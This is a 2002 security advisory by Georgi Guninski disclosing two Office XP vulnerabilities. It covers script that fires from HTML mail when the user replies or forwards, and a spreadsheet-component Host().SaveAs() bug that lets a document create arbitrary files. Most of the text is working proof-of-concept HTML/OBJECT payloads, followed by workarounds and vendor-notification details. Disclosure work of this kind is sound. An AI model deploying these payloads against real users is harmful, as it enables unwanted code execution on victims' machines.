Georgi Guninski security advisory #53, 2002
More Office XP problems
Systems affected:
Office XP
Risk: High
Date: 31 March 2002
Legal Notice:
This Advisory is Copyright (c) 2002 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission.
If you want to link to this content use the URL:
http://www.guninski.com/m$oxp-2.html
Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.
Description:
Actually there are at least two vulnerabilities in Office XP.
1. It is possible to embed active content (object + script) in HTML mail
which is triggered if the user chooses reply or forward to the mail.
This opens an exploit scenario for forcing the user to visit a page
in the internet zone of IE at least. For another exploit scenario
check (2)
2. There is a bug in ms spreadsheet compononent. Namely in its Host()
function which may be exploited with the help of (1) or probably from
any document opened with Office application. This buggy function
allows creating files with arbitrary names and their content may be
specified to some extent at which is sufficient to place an
executable file (.hta) in user's startup directory which may lead to
taking full control over user's computer.
This probably may be called cross application scripting because
one application uses object from another application.
Details:
The following must be put in HTML email which should be opened with
Outlook XP and the user should choose reply or forward.
1.
--------------------------------------
<OBJECT id=WebBrowser1 height=150 width=300
classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2>
<PARAM NAME="ExtentX" VALUE="7938">
<PARAM NAME="ExtentY" VALUE="3969">
<PARAM NAME="ViewMode" VALUE="0">
<PARAM NAME="Offline" VALUE="0">
<PARAM NAME="Silent" VALUE="0">
<PARAM NAME="RegisterAsBrowser" VALUE="1">
<PARAM NAME="RegisterAsDropTarget" VALUE="1">
<PARAM NAME="AutoArrange" VALUE="0">
<PARAM NAME="NoClientEdge" VALUE="0">
<PARAM NAME="AlignLeft" VALUE="0">
<PARAM NAME="ViewID" VALUE="{0057D0E0-3573-11CF-AE69-08002B2E1262}">
<PARAM NAME="Location" VALUE="about:/dev/random<script>while (42)
alert('HOHOHO\nTrying to sell trustworthy
computing\nHOHOHO')</script>">
<PARAM NAME="ReadyState" VALUE="4">
</OBJECT>
-------------------------------------
2.
The office spreadsheet component is something like mini excel.
It may be embeded in web pages (seems not exploitable) and in
office documents (seems exploitable).
It supports the Host() function which returns the hosting object.
So if you put in formula '=Host().SaveAs("name")' file with name
shall be created.
[Note, lines may be wrapped]
---------------------------------------
<h1>
Hehe. Triyng to sell trustworthy computing.
</h1>
<object
classid="CLSID:0002E551-0000-0000-C000-000000000046" id=Spreadsheet1
v:shapes="_x0000_s1026" class=shape width=81 height=81
u1:shapes="_x0000_s1025">
<param name=DataType value=XMLURL>
<param name=XMLData
value="<?xml version="1.0"?> <ss:Workbook
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" &#
10;
xmlns:c="urn:schemas-microsoft-com:office:component:spreadsheet&quo
t;
xmlns:html="http://www.w3.org/TR/REC-html40">
<x:ExcelWorkbook>
<x:ProtectStructure>False</x:ProtectStructure>
<x:ActiveSheet>0</x:ActiveSheet>
</x:ExcelWorkbook> <ss:Styles>
<ss:Style ss:ID="Default"> <ss:Alignment
ss:Horizontal="Automatic" ss:Rotate="0.0"
ss:Vertical="Bottom"
ss:ReadingOrder="Context"/>
<ss:Borders> </ss:Borders>
<ss:Font ss:FontName="Arial" ss:Size="10"
ss:Color="Automatic" ss:Bold="0"
ss:Italic="0" ss:Underline="None"/>
<ss:Interior ss:Color="Automatic"
ss:Pattern="None"/> <ss:NumberFormat
ss:Format="General"/> <ss:Protection
ss:Protected="1"/> </ss:Style>
</ss:Styles> <c:ComponentOptions>
<c:Label> <c:Caption>Microsoft Office
Spreadsheet</c:Caption> </c:Label>
<c:PreventPropBrowser/>
<c:MaxHeight>80%</c:MaxHeight>
<c:MaxWidth>80%</c:MaxWidth>
<c:NextSheetNumber>1</c:NextSheetNumber>
</c:ComponentOptions>
<x:WorkbookOptions>
<c:OWCVersion>10.0.0.2621 </c:OWCVersion>
<x:DisableUndo/> </x:WorkbookOptions>
<ss:Worksheet ss:Name="Sheet1">
<x:WorksheetOptions> <x:Selected/>
<x:ViewableRange>R1:R262144</x:ViewableRange>
<x:Selection>R1C1</x:Selection>
<x:TopRowVisible>0</x:TopRowVisible>
<x:LeftColumnVisible>0</x:LeftColumnVisible>
<x:ProtectContents>False</x:ProtectContents>
</x:WorksheetOptions>
<c:WorksheetOptions>
</c:WorksheetOptions> <ss:Table
ss:ExpandedColumnCount="1"
ss:ExpandedRowCount="1"
ss:DefaultColumnWidth="48.0"
ss:DefaultRowHeight="12.75">
<ss:Row> <ss:Cell
ss:Formula='=HOST().SaveAs("C:\GGGG5")'>
<ss:Data
ss:Type="Boolean">1</ss:Data>
</ss:Cell> </ss:Row>
</ss:Table> </ss:Worksheet>
<ss:Worksheet ss:Name="Sheet2">
<x:WorksheetOptions>
<x:ViewableRange>R1:R262144</x:ViewableRange>
<x:Selection>R1C1</x:Selection>
<x:TopRowVisible>0</x:TopRowVisible>
<x:LeftColumnVisible>0</x:LeftColumnVisible>
<x:ProtectContents>False</x:ProtectContents>
</x:WorksheetOptions>
<c:WorksheetOptions>
</c:WorksheetOptions> </ss:Worksheet>
<ss:Worksheet ss:Name="Sheet3">
<x:WorksheetOptions>
<x:ViewableRange>R1:R262144</x:ViewableRange>
<x:Selection>R1C1</x:Selection>
<x:TopRowVisible>0</x:TopRowVisible>
<x:LeftColumnVisible>0</x:LeftColumnVisible>
<x:ProtectContents>False</x:ProtectContents>
</x:WorksheetOptions>
<c:WorksheetOptions>
</c:WorksheetOptions> </ss:Worksheet>
<o:DocumentProperties>
<o:Author>ad</o:Author>
<o:LastAuthor>ad</o:LastAuthor>
<o:Created>2002-03-17T12:07:37Z</o:Created>
<o:Company>g</o:Company>
<o:Version>10.2625</o:Version>
</o:DocumentProperties>
<o:OfficeDocumentSettings>
<o:DownloadComponents/> <o:LocationOfComponents
HRef="file:///E:\"/>
</o:OfficeDocumentSettings> </ss:Workbook> 

;">
<param name=AllowPropertyToolbox value=0>
<param name=AutoFit value=0>
<param name=Calculation value=-4105>
<param name=Caption value="Microsoft Office Spreadsheet">
<param name=DisplayColumnHeadings value=-1>
<param name=DisplayGridlines value=-1>
<param name=DisplayHorizontalScrollBar value=-1>
<param name=DisplayOfficeLogo value=-1>
<param name=DisplayPropertyToolbox value=0>
<param name=DisplayRowHeadings value=-1>
<param name=DisplayTitleBar value=0>
<param name=DisplayToolbar value=-1>
<param name=DisplayVerticalScrollBar value=-1>
<param name=DisplayWorkbookTabs value=-1>
<param name=EnableEvents value=-1>
<param name=MaxHeight value="80%">
<param name=MaxWidth value="80%">
<param name=MoveAfterReturn value=-1>
<param name=MoveAfterReturnDirection value=-4121>
<param name=RightToLeft value=0>
<param name=ScreenUpdating value=-1>
<param name=EnableUndo value=0>
</object>
---------------------------------
Workaround/Solution:
The solution is to get a real mail client and office applications.
Workaround for this particular problem is:
For (1) - disable everything that contains "active" in IE.
For (2) - (Have not tested it personally)
Deregister and delete the ms office spreadsheet component
Vendor status:
Microsoft was notified on 17 March 2002.
They had 2 weeks to produce a patch but didn't.
Regards,
Georgi Guninski
http://www.guninski.com